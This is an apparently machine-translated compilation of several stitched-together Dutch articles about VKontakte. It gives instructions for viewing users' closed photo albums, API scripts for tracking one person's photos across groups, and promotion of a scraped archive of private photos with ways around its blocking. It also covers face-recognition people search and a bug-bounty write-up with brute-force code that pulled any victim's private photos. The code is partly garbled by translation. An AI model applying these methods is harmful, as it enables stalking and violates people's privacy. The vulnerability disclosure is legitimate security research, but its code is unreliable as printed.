Privéfoto's van gebruikers op VK. Google Afbeeldingen zoeken

70 333 037 2

Het komt vaak voor dat je dringend naar foto's moet kijken privé profiel VK. Zoals u weet heeft elke gebruiker de mogelijkheid om zelfstandig het privacyniveau van zijn profiel te kiezen, dus het sluiten van een heel album of individuele foto's is een kwestie van een paar klikken. Het blijkt om naar te kijken gesloten foto's Kan! Eten bepaalde trucjes, en “gaten”, waarvan we er vandaag één zullen vertellen.

Houd er rekening mee dat ze allemaal snel sluiten, dus het is geen feit dat dit, net als elke andere methode, binnen een week of maand geldig is.

Je hebt nodig:

De broncode openen

Probeer het eerst. Als de albums niet openen, ga dan als volgt te werk. Open dus het profiel van de persoon wiens foto's we willen zien. Vervolgens moeten we de broncode van deze pagina openen.

Om dit te doen, klikt u op klik met de rechtermuisknop muis over het vrije gebied, en in contextmenu zoek naar het item "Paginabroncode bekijken", "Elementcode bekijken" of iets dergelijks. U kunt ook de F12-toets gebruiken als u die heeft Google Chrome. Dus hier is de broncode van de pagina. Wat is het volgende?

Op zoek naar het gewenste fragment

Open met de toetsencombinatie Ctrl+F de zoekbalk en voer daar het woord “albums” in.

Er zullen verschillende resultaten zijn, maar we hebben de resultaten nodig, gevolgd door cijfers (dit is de profiel-ID). In de regel zal dit fragment het derde vanaf het begin zijn in de zoekresultaten. Gevonden? Geweldig, kopieer ze met de toetsencombinatie Ctrl+C.

Werken met de adresbalk

We hebben dus het benodigde codefragment. Wat is het volgende? Om te kijken verborgen foto's grafieken ga in Contact terug naar de gewenste pagina (we hebben de pagina met de broncode niet langer nodig).

IN adresbalk browser zien we een link zoals vk.com/id#####, waarbij #### de pagina-ID is. Je zou het moeten weten en vrienden. Plaats de cursor aan het einde van de adresregel en typ daarin de volgende tekens: “?z=”, waarna we dat fragment hier kopiëren uit broncode pagina die we zochten.

Als gevolg hiervan zou de adresbalk van de browser het volgende moeten bevatten: vk.com/id####?z=albums####, waarbij #### de ID van de persoon is.

We drukken op Enter en alle foto's van de persoon gaan voor ons open.

Op deze eenvoudige manier kunt u foto's bekijken in een gesloten album in VKontakte, en een lijst bekijken met albums van mensen die zijn verwijderd uit VKontakte-vrienden of onbekende gebruikers.

Veelgestelde vragen en antwoorden

    Hoe te kijken gesloten album VK-gebruiker via telefoon?

    Instructies voor het bekijken zijn dezelfde als voor het bekijken vanaf een computer.

    Welke verborgen mogelijkheden VKontakte?

    1. Als u naar het gedeelte "Instellingen" gaat en op het tabblad "Algemeen" de taal wijzigt in pre-revolutionair of Sovjet, zal de VKontakte-interface enigszins veranderen.
    2. Als u wilt dat bepaalde informatie over u leeg blijft op uw persoonlijke pagina, voegt u in dergelijke velden een code toe.
    3. In de kolom "Plaats van werk" kunt u dit doen actieve koppeling naar elke VKontakte-groep. Om dit te doen, gaat u naar het gedeelte 'Bewerken', selecteert u het tabblad 'Carrière' en schrijft u in het gedeelte 'Werkplaats' de naam van de community waarvan u lid bent.
    4. In het gedeelte "Instellingen" kan de id worden gewijzigd in een kort en gemakkelijk te onthouden adres.

    Welke service is er om verborgen foto's in contacten te bekijken?

    Je moet een foto zoeken van een persoon waarop hij is getagd, vervolgens naar snelle weergave gaan en door de foto scrollen. Ondanks het feit dat de reguliere toegang daartoe gesloten is, kunt u ze bekijken. Dit "gat" technische dienst kan het nog niet elimineren.

    Hoe te kijken gesloten rekening op VK?

    Om een ​​privéprofiel te bekijken heeft u het volgende nodig:
    1. Ontdek de profiel-ID. beweeg de muis over “VriendenNAAM”. Kopieer de link.
    2. *[link geblokkeerd door besluit van de projectadministratie].
    3. De cijfers na "id=" zijn de profiel-ID.
    Wij kopiëren deze nummers en plakken ze in de benodigde links.

    Wie kan foto's zien op VKontakte?

    Afhankelijk van wie je toegang hebt gegeven tot je foto's.

    Hoe zie ik alle foto's in contact?

    Deze informatie beschreven in het artikel.

    Hoe zie je een foto van een groep in VKontakte?

    Zoek een groep of pagina die bij uw interesses past en selecteer vervolgens hieronder een optie zoekreeks"Gemeenschappen". Dan zie je iets naar rechts ‘Community Type’ (vink het vakje aan naast: alle, groep, pagina, vergadering) en klik op zoeken. Er wordt een lijst met groepen geopend waarin u de groepen kunt selecteren die bij u passen. Als de groep open is, kunt u eenvoudig de volledige inhoud ervan bekijken: audio, video, foto's, discussies.
    Als u de pagina heeft bezocht gesloten groep, let op de rechterbovenhoek onder de foto. Er staat: "Abonneren" (op de pagina) of "Een aanvraag indienen" (op de groep).
    Wacht even, uw aanvraag wordt beoordeeld door de groepsbeheerders. Als ze het goedkeuren, verschijnt de groep in de lijst op uw pagina. U kunt nu alle groepsinhoud bekijken.

Er zijn veel openbare pagina's op VKontakte, zoals: 90-60-90, 40 KG, Sportmeisjes. Op deze openbare pagina's plaatsen gebruikers foto's van hun figuren, "voor" en "na" foto's van diëten/sporten, enz. Het totale aantal foto's in de albums van deze groepen overschrijdt soms de tienduizenden. Bij het plaatsen van foto's denken velen niet na over de gevolgen, omdat ze naïef geloven dat als ze hun foto in duizenden vergelijkbare foto's gooien, niemand hem zal vinden. Hieronder wordt het proces beschreven van het zoeken naar foto's van een specifieke gebruiker in groepen.

Verklaring van het probleem
  1. uid - VKontakte-gebruikers-ID
  2. gid - VKontakte groeps-ID

Nodig:

  1. Vind alle foto's gebruikers-ID, gepubliceerd in de gid-groep
  2. Bepaal in welk album elke foto staat
VKontakte-API

Contact beschikt niet over een methode om direct foto's op te halen die door een specifieke gebruiker in een specifieke groep zijn geplaatst. Echter, te bereiken gewenst resultaat mogelijk door volgende diagram:
1. Krijg een lijst met albums met behulp van de photos.getAlbums-methode:

VK.api("photos.getAlbums", ( gid: gid), function(result)( if (result.response)( // De lijst met albums staat in de result.response array // De album-ID staat in de hulp field)else( / / Kan de lijst met albums niet ophalen ) ));

2. Krijg een lijst met foto's in het album (hulpmiddel) met behulp van de photos.get-methode:

VK.api("photos.get", ( gid: gid, aid: aid), function(result)( if (result.response)( // De lijst met foto's staat in de result.response array // De ID van de eigenaar van de foto staat in het veld own_id // De ID van de foto staat in het pid-veld )else( // Kan de lijst met foto's in het album niet ophalen ) ));

3. Haal de URL van de foto op met behulp van de photos.getById-methode

VK.api("photos.getById", ( photos: pids ), function(result)( if(result.response)( for(var i=0; i

Hoe kan ik het zoeken versnellen?

Het doorlopen van alle groepen is een nogal langdurig proces en het is niet aan te raden dit elke keer te doen als u naar een foto van een specifieke persoon zoekt. Om het zoeken te versnellen, volstaat het om alle foto's te indexeren door een index aan de interne tabel toe te voegen.
De tabel hoeft slechts 3 velden te bevatten:

  • uid - gebruikers-ID
  • gid - groeps-ID
  • pid - identiteitsbewijs met foto

Nadat u de groepen heeft geïndexeerd, voert u gewoon de query uit

SELECT * UIT tabel WAAR uid = uid

Foto's van vrienden zoeken

Met behulp van de Friends.get-methode kunt u een lijst met vrienden opvragen en vervolgens in de database zoeken naar foto's van vrienden:

VK.api("friends.get", ( user_id: uid), function(result)( if(result.response)( // Vervolgens zoeken we naar foto's op basis van de ID's van vrienden) ));

Koppelingen
  • Website voor het zoeken naar foto's: photovk.ru
  • VKontakte-applicatie voor het zoeken naar foto's:

Er zijn geen volledig legale diensten op internet. Bijvoorbeeld Skotobaza. Dit is een site die persoonlijke foto's van VKontakte-gebruikers opslaat. En ook degenen die ooit zijn gepost en vervolgens verwijderd. Je kunt ook verborgen of verwijderde vrienden vinden. De site wordt geblokkeerd door Roskomnadzor, maar de blokkering kan worden omzeild. Op het moment van blokkeren hadden de robots meer dan 106 miljoen foto’s verzameld.
Persoonlijk ben ik erin geslaagd mijn foto's te vinden die in 2009 op VK zijn geplaatst en lang geleden zijn verwijderd.

Wat is Skotobaza?

De traditie van het lekken van foto's op RuNet gaat terug tot de School of Freaks begin jaren 2000. School of Freaks is een LiveJournal-gemeenschap waar gebruikers van sociale media slechte foto's plaatsen om te lachen. Skotobaza had vroeger iets soortgelijks, maar in 2014 werd Skotobaza gelanceerd als een dienst voor het opslaan van privéfoto's van VKontakte-gebruikers. In feite zijn ze niet geheel privé: als er een slot op de foto staat, komt deze in geen enkele Animal Farm terecht. Het is gewoon zo dat veel mensen persoonlijke foto's plaatsen voor een beperkte kring van mensen: bijvoorbeeld in de albums van een gesloten fitnessgemeenschap. Of in de open lucht. En van daaruit migreren de foto's naar het veedepot.

Wat kun je erin vinden?

Allereerst foto's die niet openbaar zijn gepost door een VKontakte-gebruiker, maar toch op de een of andere manier ergens zijn blootgesteld: in de gemeenschap, onder vrienden en soortgelijke albums. Over het algemeen zult u meer kunnen zien dan zou moeten. Al zitten niet alle gebruikers in het veedepot en worden daar niet alle nieuwste drains gestort. Zoals ik al zei, heb ik daar mijn foto's uit 2008 gevonden, maar het is onwaarschijnlijk dat je de nieuwste gebruikersfoto's zult vinden, simpelweg omdat de dienst momenteel is gestopt met het verzamelen van foto's.

Is het mogelijk om een ​​foto van de Animal Farm te verwijderen?

Voorheen was er een betaalde fotoverwijderingsservice. Voor 490 roebel kun je de rest van je VK-profiel kopen. Foto's zijn verwijderd en nooit meer toegevoegd. Nu bestaat zo'n service niet, alleen wordt de site zelf geblokkeerd door Roskomnadzor. Maar dit betekent niet dat je er niet naartoe kunt gaan om de blokkering te omzeilen en te zien wat er is.

Zijn er analogen met Skotobazy?

U moet begrijpen dat foto- en video-inhoud veel ruimte in beslag nemen en dat dergelijke sites niet in een handomdraai kunnen worden gemaakt. Bovendien zijn ze sowieso geblokkeerd. The Animal Farm had een analoog, spalili.org, maar die werkt niet meer. Dat wil zeggen, er is helemaal geen blokkade - er is zelfs geen blokkering die kan worden omzeild.

De Dierenboerderij heeft ook geen spiegel. Het veedepot probeerde verschillende keren naar verschillende domeinen te verhuizen, maar ze werden toch gesloten.

U kunt de blokkering van de Animal Farm-site omzeilen. Hiervoor zijn precies dezelfde methoden geschikt als voor het omzeilen van de blokkering van de Rutreker-website - beide sites worden geblokkeerd door Roskomnadzor en het volstaat om anoniem in te loggen. Hiervoor kunt u een extensie in uw browser installeren; deze staat uitgebreid beschreven in mijn . Er zijn mogelijke extensies voor elke browser en waar u deze kunt verkrijgen.

En onlangs is er een nieuwe versie van Opera met ingebouwde VPN uitgebracht, en er is een andere manier om de blokkering te omzeilen. Om dit te doen, hoeft u alleen maar de VPN-modus in de Opera-instellingen in te schakelen en vervolgens rustig naar het veestation te gaan. Ik zal voor de zekerheid uitleggen hoe je VPN in de nieuwe Opera inschakelt.

Hoe VPN in Opera in te schakelen

Ten eerste moet je een nieuwe Opera hebben (niet ouder dan september 2016). Download deze als dat niet het geval is.

U kunt naar Skotobaza.org gaan.

Snelle eenmalige methode

Als je echt lui bent, kun je de blokkering van de Stockyard als volgt omzeilen:


Voorbeeld van het gebruik van de Stockyard

Voer de gebruikers-ID van het contact in, bijvoorbeeld id123456, in het veld en u ontvangt zijn foto's en een lijst met vrienden.


Zoek op veedepot

Waar kun je nog meer mensen en foto's zoeken?

Als u niet in de database van de site kunt komen of er niets in kunt vinden, kunt u uw geluk beproeven op andere sites. Het komt voor dat informatie die in VK gesloten is, open is op Odnoklassniki, Facebook, Twitter en andere netwerken of op onverwachte sites wordt geplaatst. Hier zijn dus de manieren om door de informatie te komen.

Zoek naar mensen op sociale netwerken van Yandex

Stel dat er een voor- en achternaam is van iemand waarin u geïnteresseerd bent. Hiermee kunt u zoeken naar de profielen van een persoon op andere sociale netwerken. Probeer hiervoor uw voor- en achternaam in de service in te voeren (people.yandex.ru). Daar kunt u andere parameters opgeven die uw identiteit verduidelijken.

FindFace-service

Als je een foto van een persoon hebt, kun je gebruik maken van de bekende dienst (https://findface.ru), die nu ook zoekt naar profielen op Twitter. Deze dienst is bedoeld voor gezichtsherkenning: daarin kun je bijvoorbeeld een persoon terugvinden op basis van een foto die je op straat hebt gemaakt.

Dit betekent dat als twee VK- en Twitter-profielen dezelfde persoon hebben (zelfs als de foto's verschillend zijn), je met behulp van de foto van het ene profiel het tweede profiel kunt vinden.

Google Afbeeldingen zoeken

Je kunt zoeken op afbeelding: staat er een foto bij waarvan je denkt dat die ergens anders als avatar voor deze persoon zou kunnen dienen, dan kun je zoeken op afbeelding: je vindt die persoon op een andere site. Misschien heeft een andere site meer open informatie over de gebruiker.

Het verschil is dat FindFace naar vergelijkbare foto's zoekt, maar alleen op VK en Twitter. En overal op internet wordt op Google gezocht, maar er worden alleen identieke foto's gevonden (precies), hier is geen slimme gezichtsherkenning. Soortgelijke afbeeldingen worden ook op Google getoond, maar de gelijkenis wordt bepaald door kleur, vorm etc. en niet door het gezicht. Op Google kun je alleen maar hopen een identieke avatar op een andere site te vinden.

Dus, voor een Google-afbeeldingszoekopdracht:



Zoeken op afbeelding Yandex

Op dezelfde manier kunt u in Yandex op afbeelding zoeken.


Facebook-zoekservice voor mensen

Er is ook een interessante manier om mensen op Facebook te zoeken en te volgen. Deze dienst zoekt naar alle reacties van een specifieke gebruiker, foto's waarin deze zijn getagd en nog veel meer. De ingebouwde zoekfunctie van Facebook is zeer beperkt, maar de service helpt je de beperkingen te omzeilen.

Zoekmachine Nigma

Soms retourneert de zoekmachine (nigma.ru) profielen die niet in Yandex worden gevonden. Al lijkt het een secundair systeem te zijn dat geen eigen algoritmen gebruikt. Ik vond echter op de eerste pagina iets dat Yandex niet verstrekte. Probeer het eens, misschien kom je iets interessants tegen. Voer gewoon uw voor- en achternaam in de zoekbalk in. U kunt proberen de bijnaam van de persoon in te voeren, als u die heeft.

Situatie anno 2017

Helaas werken de oplossingen anno 2017 niet meer. Ik heb het meerdere keren gecontroleerd. Op dit moment wordt de site niet alleen geblokkeerd door Roskomnadzor, maar wordt hij zelf niet langer ondersteund - hij bestaat niet, zelfs niet als de blokkering wordt omzeild. Blijkbaar hebben de makers besloten dat het duur en zinloos is om deze site draaiende te houden als er toch maar een paar mensen hem bezoeken, waarbij ze de blokkering omzeilen. Ik denk dat er elke dag enkele tientallen mensen binnenkwamen. En dit is te weinig.

Vandaag zullen we u vertellen, beste lezers, over een uiterst ongebruikelijke functie die aanwezig is in VK: zoeken naar vergelijkbare foto's, wanneer u gebruikers kunt vinden die dezelfde afbeelding naar hun profiel hebben geüpload.

Waarom is dit nodig, vraagt ​​u zich af? Er zijn twee belangrijke redenen.

  • Eerst. Door naar identieke afbeeldingen te zoeken, kunt u altijd de persoon vinden (of niet vinden) die uw foto's gebruikt. Met andere woorden, u zult uw eigen klonen kunnen detecteren.
  • Tweede reden. Laten we zeggen dat je een persoon moet vinden, maar je hebt alleen zijn foto. Met zijn hulp kunt u de zoekfunctie voor afbeeldingen op VK gebruiken en mogelijk vindt u de persoon die u zoekt.

Het is vermeldenswaard dat er veel fotozoekdiensten zijn, Google heeft het bijvoorbeeld, maar in dit geval wordt de zoekopdracht niet op het hele internet uitgevoerd, maar alleen op VKontakte.

Op zoek naar een gebruiker op foto

Laten we beginnen met zoeken. Laten we zeggen dat we klonen of gebruikers moeten vinden die een bepaalde foto hebben geüpload.

De eerste stap is het openen van de foto die we zoeken. Als het niet naar uw fotoalbum is geüpload, download het dan.

Open een afbeelding, bijvoorbeeld:

We kijken naar de adresbalk van de browser. Je zou een adres als dit moeten zien: https://vk.com/photo**********_384******. Onder de sterren foto******** die van jou is verborgen, en de cijfers 384****** , die na het onderstrepingsteken staan, is het fotonummer. Kopieer dit adres, maar dan zonder https://vk.com/, dan zou het moeten lukken foto**********_384******.

Sluit het tabblad of laat het open en open een nieuw tabblad, ga naar de VK-pagina en selecteer het gedeelte "Mijn nieuws" in het menu. U ziet een nieuwsfeed:

Als er een item 'Foto's' naast de subsectie 'Feed' staat, slaat u deze stap over. Als het item ontbreekt, klik dan op het kruisje en voeg het item "Foto's" toe.

Klik op het item "Foto's". De zoekbalk "Zoeken op foto's" verschijnt.

We schrijven een woord op een regel kopiëren: en voeg een link toe naar de foto die we eerder hebben gekopieerd, dat wil zeggen dat je zoiets als dit zou moeten krijgen: kopie: foto**********_384******. Houd er rekening mee dat de sterretjes slechts een voorbeeld zijn, daaronder staan ​​het ID- en serienummer van de foto! Als we bijvoorbeeld een specifieke foto van Pavel Durov nemen om te zoeken, dan moeten we in de regel bijvoorbeeld schrijven: kopie: foto1_327778612, waarbij photo1 de gebruikers-ID is (in dit geval Durova) en 327778612 het serienummer van de foto is. Druk vervolgens op de Enter-toets.

In ons geval konden we 7 identieke foto's detecteren.

Als u op elk ervan klikt, kunt u zien naar welke gebruiker of welk publiek de afbeelding is geüpload. Waarschijnlijk wordt de zoekopdracht alleen uitgevoerd op die foto's die zich in het publieke domein bevinden. We konden geen foto's vinden die niet konden worden bekeken.

tl;dr

Er werd een kwetsbaarheid ontdekt in VK-bladwijzers, die het mogelijk maakte om directe links naar privéfoto's te ontvangen vanuit persoonlijke berichten en albums van elke gebruiker/groep. Er is een script geschreven dat gedurende een bepaalde periode gebruikersfoto's doorzoekt en vervolgens via deze kwetsbaarheid directe links naar de afbeeldingen krijgt. Kortom, u kunt al uw foto's van gisteren in 1 minuut ontvangen, alle foto's die u vorige week hebt geüpload in 7 minuten, vorige maand in 20 minuten en vorig jaar in 2 uur. De kwetsbaarheid is inmiddels verholpen. De regering VKontakte betaalde een beloning van 10.000 stemmen.


Het verhaal begon toen een afbeelding naar mij werd gestuurd in een persoonlijk bericht op VKontakte. Als iets belangrijk is, upload ik het meestal naar de cloud, maar in mijn geval was dit niet nodig en besloot ik de VKontakte-bladwijzerfunctie te gebruiken.

Kort over deze functionaliteit: alle dingen die de gebruiker leuk vindt, worden toegevoegd aan bladwijzers; Er is ook een functie voor het handmatig toevoegen van een link naar een gebruiker en een interne VKontakte-link. Het laatste punt leek mij erg interessant, omdat ik na het toevoegen van een link naar de foto het voorbeeld en de tekst zag met het type toegevoegde entiteit:

Wanneer een link wordt toegevoegd, ontleedt de server deze, probeert uit te vinden naar welke entiteit deze verwijst en haalt informatie over dit object op uit de database. Wanneer dit soort functies met veel voorwaarden wordt geschreven, is de kans dat de ontwikkelaar iets vergeet doorgaans zeer groot. Ik kon het me dus niet veroorloven om het te laten liggen en besloot een paar minuten de tijd te nemen om een ​​beetje te experimenteren.

Het resultaat is dat ik iets heb kunnen vinden. Door een link toe te voegen naar een foto, notitie of video die niet toegankelijk is, kunt u wat privé-informatie over het object verkrijgen. In het geval van foto's en video's is dit een kleine (150x150) preview, waarop het voor privénotities vrij moeilijk is om iets te zien; Via API-methode favoriet.getLinks Het was mogelijk om links naar de afbeelding te krijgen, maar opnieuw was het formaat te klein (75px en 130px). Dus eigenlijk niets ernstigs.

Ik besloot naar de mobiele versie van de site te gaan om te controleren of alles daar hetzelfde werd weergegeven als in de reguliere versie. Toen ik naar de paginacode keek, zag ik dit:

Ja! In de attribuutwaarde data-src_big er was een directe link naar de originele afbeelding!

Het was dus mogelijk om een ​​directe link naar elke afbeelding op VKontakte te krijgen, ongeacht waar deze was geüpload en welke privacy-instellingen deze had. Dit kan een afbeelding zijn uit persoonlijke berichten of een foto uit de privéalbums van een gebruiker/groep.

Het lijkt erop dat ik hier kon stoppen en naar de ontwikkelaars kon schrijven, maar ik vroeg me af of het mogelijk was om door misbruik te maken van deze kwetsbaarheid toegang te krijgen tot alle (of in een bepaalde periode gedownloade) foto's van de gebruiker. Het grootste probleem hier was, zoals u begrijpt, dat de link naar een privéfoto van het formulier niet altijd bekend is fotoXXXXXX_XXXXXXXXX om toe te voegen aan uw bladwijzers. De gedachte om via de ID van de foto te zoeken kwam in me op, maar om de een of andere reden verwierp ik het onmiddellijk als gek. Ik controleerde de fotogerelateerde methoden in de API, keek hoe de applicatie met albums werkt, maar ik kon geen lekken vinden die me konden helpen een lijst te krijgen met de ID's van alle privéfoto's van de gebruiker. Ik stond op het punt dit idee op te geven, maar toen ik opnieuw naar de link met de foto keek, besefte ik plotseling dat overdrijven een goed idee was.

Hoe foto's werken in VK

Hoe zou je kunnen vervangen, link naar foto foto52708106_359542386 bestaat uit twee delen: (gebruikers-ID)_(een vreemd nummer). Hoe wordt het tweede deel gevormd?

Helaas, na twee uur experimenteren, begreep ik dit nog steeds niet. In 2012 zei Oleg Illarionov op HighLoad++ een paar woorden over hoe ze foto's opslaan, over horizontale sharding en willekeurige selectie van een server om te uploaden, maar deze informatie leverde mij niets op, aangezien er geen verband bestaat tussen de server-ID en de foto id. Het is duidelijk dat er een soort globale teller is, maar er is ook een andere logica... Want als het tweede getal zou zijn gevormd met behulp van gewone automatische optelling, dan zouden de waarden van foto-ID's al lang geleden enorme waarden hebben bereikt ​​(voor Facebook is dit momenteel bijvoorbeeld ~ 700 biljoen), maar voor Vkontakte is deze waarde slechts ~ 400 miljoen (hoewel, afgaande op de statistieken, dagelijks gebruikers uploaden meer dan 30 miljoen foto's). Die. Het is duidelijk dat dit cijfer niet uniek is, maar tegelijkertijd ook niet willekeurig. Ik schreef een script dat de foto's van 'oude' gebruikers doornam en, met behulp van de ontvangen gegevens, een grafiek maakte van hoeveel dit cijfer met elke gebruiker veranderde. jaar:

Het is te zien dat de waarden fluctueren afhankelijk van een aantal factoren (aantal servers of nieuwe logica?). Maar het punt is dat ze klein genoeg zijn (vooral in de afgelopen 2-3 jaar) en dat het heel eenvoudig is om het ID-bereik voor de gewenste periode te berekenen. Dat wil zeggen, om directe links naar de foto's van een gebruiker te vinden, bijvoorbeeld van vorig jaar, hoeft u slechts 30 miljoen (van _320000000 tot _350000000) verschillende varianten van links te bookmarken! Hieronder heb ik een brute force-techniek beschreven waarmee ik dit binnen enkele minuten kon doen.

Foto's doornemen

Je zou dit allemaal handmatig via de interface kunnen toevoegen of een script kunnen schrijven dat één link naar bladwijzers toevoegt, maar dat zou saai en tijdrovend zijn. De zoeksnelheid zou in dit geval 3 bladwijzers per seconde zijn, omdat stuur meer dan drie verzoeken per seconde naar de Vkontakte-server het is verboden.

Versnel het zoeken x25

Om de limiet van drie verzoeken op zijn minst een beetje te omzeilen, heb ik besloten de methode te gebruiken uitvoeren. In één aanroep van deze methode zijn 25 aanroepen van API-methoden mogelijk.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var slachtofferId = Args.id; var link = "http://vk.com/photo" + slachtofferId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Het was dus mogelijk om de brute force-snelheid te verhogen tot 3*25 bladwijzers/sec. Het afgelopen jaar zou het sorteren van foto's lang hebben geduurd, maar voor korte periodes was deze sorteermethode al behoorlijk goed.

Versnel het zoeken x25 * aantal parallelle verzoeken per seconde

De limiet op het aantal verzoeken/sec geldt voor elke applicatie afzonderlijk, en niet voor de gehele gebruiker. Niets weerhoudt je er dus van om veel verzoeken parallel te versturen, maar tegelijkertijd tokens uit verschillende applicaties te gebruiken.

Eerst moesten we het vereiste aantal applicaties vinden (of creëren). Er is een script geschreven dat zoekt naar zelfstandige applicaties in een bepaald bereik van applicatie-ID's:

Klasse StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id|<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids

Het was ook mogelijk om applicaties te selecteren op basis van het aantal gebruikers om het zoeken verder te versnellen:

Oké, de applicaties zijn gevonden, nu moeten ze toestemming geven aan de gegevens van onze gebruikers en tokens ontvangen. Voor autorisatie moesten we het Implicit Flow-mechanisme gebruiken. Ik moest de autorisatie-URL uit het OAuth-dialoogvenster parseren en het token na de omleiding eruit halen. Deze klasse heeft cookies nodig om te kunnen functioneren. p,l(login.vk.com) en geremixt(vk.com):

Klasse Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end defauthorize_apps(apps) apps.each do |app_id|<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens

Omdat er zoveel toepassingen worden gevonden, worden er ook zoveel parallelle verzoeken gedaan. Om dit geheel te parallelliseren, werd besloten om de Typhoeus-edelsteen te gebruiken, die zichzelf in andere taken heeft bewezen. Het resultaat is een kleine brute force zoals deze:<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "vandaag" => 366300000..366500000, "gisteren" => 366050000..366300000, "huidige_maand" => 365000000..366500000, "laatste_maand" => 3600000 ..365000000, "huidig_jaar" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @slachtoffer_id = params[:slachtoffer_id] @period = FOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) doe |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new gecodeerde_url hydra.run if tokensIterator.zero? hydra.run beëindigen tenzij hydra.queued_requests.count.zero? eind privé def vkscript(photo_id).

Om het brute geweld nog meer te versnellen, werd er geprobeerd om het onnodige lichaam in de reactie kwijt te raken, maar

Vereisen "nokogiri" vereisen "open-uri" vereisen "typhoeus" vereisen "json" vereisen "./standalone_apps_finder" vereisen "./photos_bruteforcer" vereisen "./authenticator" bruteforcer = PhotosBruteforcer.new(slachtoffer_id: ARGV, punt: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies van login.vk.com # remixsid - cookie van vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Nadat het programma was uitgevoerd, bevatten de bladwijzers gedurende een bepaalde periode alle foto's van de gebruiker. Het enige dat nog overbleef, was naar de mobiele versie van VKontakte gaan, de browserconsole openen, directe links eruit halen en van de foto's in hun originele grootte genieten.

Resultaten

Over het algemeen hangt het allemaal af van uw internetverbinding en de snelheid van proxyservers, latentie van VKontakte-servers, processorkracht en vele andere factoren. Nadat ik het bovenstaande script op mijn account had geprobeerd, kreeg ik de volgende cijfers (zonder rekening te houden met de tijd die ik besteedde aan het ontvangen van tokens):

De tabel toont de gemiddelde tijd die nodig is om een ​​identiteitsbewijs met foto uit te proberen gedurende een bepaalde periode. Ik weet zeker dat dit allemaal tien tot twintig keer had kunnen worden versneld. Maak bijvoorbeeld in een brute force-script één grote wachtrij van alle verzoeken en normale synchronisatie daartussen, omdat in mijn implementatie zal één verzoek met een time-out het hele proces vertragen. En over het algemeen zou je gewoon een paar exemplaren op EC2 kunnen kopen en binnen een uur alle foto's van elke gebruiker kunnen krijgen. Maar ik wilde al slapen.

En over het algemeen maakt het niet uit hoeveel tijd de aanvaller hieraan besteedt, 5 uur of een hele dag, omdat hij op de een of andere manier links naar privéafbeeldingen krijgt. Het vermogen om binnen een beperkte tijd veilig toegang te krijgen tot privé-informatie is de grootste bedreiging die uitgaat van deze kwetsbaarheid.

Een kwetsbaarheid melden

In eerste instantie werd het rapport naar de ondersteuningsdienst gestuurd, maar na een reactie als “bedankt, we zullen het waarschijnlijk wel op de een of andere manier oplossen...” en een week wachten, voelde ik me een beetje verdrietig. Veel dank aan Bo0oM, die heeft geholpen rechtstreeks contact op te nemen met de ontwikkelaars. Daarna werden de bugs binnen een paar uur gesloten en een paar dagen later maakte de administratie een beloning ter waarde van 10.000 over naar mijn account